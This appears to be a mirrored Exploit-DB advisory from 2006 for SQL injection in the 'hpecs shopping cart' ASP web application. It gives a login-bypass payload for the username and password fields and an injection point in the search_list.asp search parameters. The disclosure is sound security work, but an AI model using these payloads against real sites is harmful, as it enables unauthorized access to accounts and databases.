- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 2782
- Проверка EDB
-
- Пройдено
- Автор
- SECURITY ACCESS POINT
- Тип уязвимости
- WEBAPPS
- Платформа
- ASP
- CVE
- cve-2006-5962
- Дата публикации
- 2006-11-14
Код:
vendor site:http://hpe.net/
product:hpecs shopping cart
bug:injection sql
risk:high
login bypass :
username: 'or''='
passwd: 'or''='
injection sql (post) :
http://site.com/search_list.asp
variables:
Hpecs_Find=maingroup&searchstring='[sql]
( or just post your query in the search engine ... )
laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: [email protected]
# milw0rm.com [2006-11-14]- Источник
- www.exploit-db.com
